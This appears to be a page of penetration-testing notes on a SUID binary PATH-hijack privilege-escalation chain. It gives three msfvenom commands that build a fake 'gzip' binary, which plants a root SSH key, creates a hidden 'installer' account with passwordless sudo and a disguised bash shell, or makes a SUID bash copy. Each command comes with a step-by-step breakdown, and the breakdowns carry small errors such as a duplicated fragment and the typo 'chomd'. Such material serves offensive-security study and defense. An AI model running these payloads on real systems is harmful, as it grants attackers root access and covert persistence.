Skip to main content

SUID -> PATH Exploit Chain

In this example, assume there's a SUID binary that calls gzip by it's relative name, resolving gzip wherever it happens to be in the current user's $PATH variable. We use PrependSetresuid='true' to ensure the binary retains SUID permissions.

SSH Persistence

msfvenom PrependSetresuid='true' AppendExit='true' CMD='[ -w /root ] && if [ ! -d /root/.ssh ]; then mkdir /root/.ssh ; fi && echo y|ssh-keygen -t rsa -b 4096 -f /tmp/.root -C '"'"''"'"' -N '"'"''"'"' >/dev/null 2>&1 && cat /tmp/.root.pub >> /root/.ssh/authorized_keys && chmod 666 /tmp/.root && sed -i.bak -E '"'"'s/#?PubkeyAuthentication.*/PubkeyAuthentication yes/g'"'"' /etc/ssh/sshd_config && systemctl restart ssh' -p linux/x64/exec -f elf -o gzip
  1. Transfer to the target and place in a globally writable directory (e.g. /tmp/)
  2. chmod +x /tmp/gzip to make the false gzip binary globally executable
  3. export PATH="/tmp:$PATH" to cause which gzip to resolve to /tmp/gzip
  4. Run the SUID binary and execute the shell command

Breaking down the shell command:

  • [ -w /root ] -- check if /root directory is writable (hacky way to tell if we're root)
  • if [ ! -d /root/.ssh]; then mkdir /root/.ssh ]; then mkdir /root/.ssh ; fi
    • If /root/.ssh does not exist...
    • Run mkdir /root/.ssh
  • echo y|ssh-keygen -t rsa -b 4096 -f /tmp/.root -C '"'"''"'"' -N '"'"''"'"' >/dev/null 2>&1
    • echo y -- answer 'yes' if prompted to overwrite existing key files
    • ssh-keygen... -- create SSH key pair with the specified options
  • cat /tmp/.root.pub >> /root/.ssh/authorized_keys -- append the SSH public key to trusted keys file
  • chmod 666 /tmp/.root -- make the private key readable, so we can use it to authenticate
  • sed -i.bak -E '"'"'s/#?PubkeyAuthentication.*/PubkeyAuthentication yes/g'"'"' /etc/ssh/sshd_config
    • Modify /etc/ssh/sshd_config to allow enable public key authentication if not already
    • Make a backup at /etc/ssh/sshd_config.bak
  • systemctl restart ssh -- restart the SSH daemon

New Privileged Account

USERPASS=$(tr -cd '[:alnum:][:punct:]' < /dev/urandom | head -c8; echo)
openssl passwd -6 -salt "$(openssl rand -base64 6)" "$USERPASS" > hash.txt
echo "User password: ${USERPASS}" > random_password.txt

Generate random password via API, salt it, hash it, and save the hash and password to files

msfvenom PrependSetresuid='true' AppendExit='true' CMD="[ -w /root ] && cp /bin/bash /usr/bin/nologon && chmod 755 /usr/bin/nologon && /usr/sbin/useradd -p '$(cat hash.txt)' -G sudo -m -r -s /usr/bin/nologon installer && echo 'installer    ALL=(ALL:ALL) NOPASSWD:ALL' >/etc/sudoers.d/installer" -p linux/x64/exec -f elf -o gzip

Breaking down the shell command:

  • [ -w /root ] -- check if /root directory is writable (hacky way to tell if we're root)
  • cp /bin/bash /usr/bin/nologon -- make a copy of Bash make it look like a nologin shell
  • chmod 755 /usr/bin/nologon -- make it globally executable
  • /usr/sbin/useradd -p '$(cat hash.txt)' -G sudo -m -r -s /usr/bin/nologon installer
    • Make an account named installer and make it a system account
    • Use the password hash generated before
    • Add to sudo group
    • Set the shell to /usr/bin/nologon
  • echo 'installer    ALL=(ALL:ALL) NOPASSWD:ALL' >/etc/sudoers.d/installer
    • Give the account password-less sudo to all commands

SUID Bash

msfvenom PrependSetresuid='true' AppendExit='true' CMD='[ -w /root] && cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash' -p linux/x64/exec -f elf -o gzip

Breaking down the shell command:

  • [ -w /root ] -- check if /root directory is writable (hacky way to tell if we're root)
  • cp /bin/bash /tmp/bash && chomd 4755 /bin/bash
    • Root owns the binary
    • Add SUID and global execution to the bash copy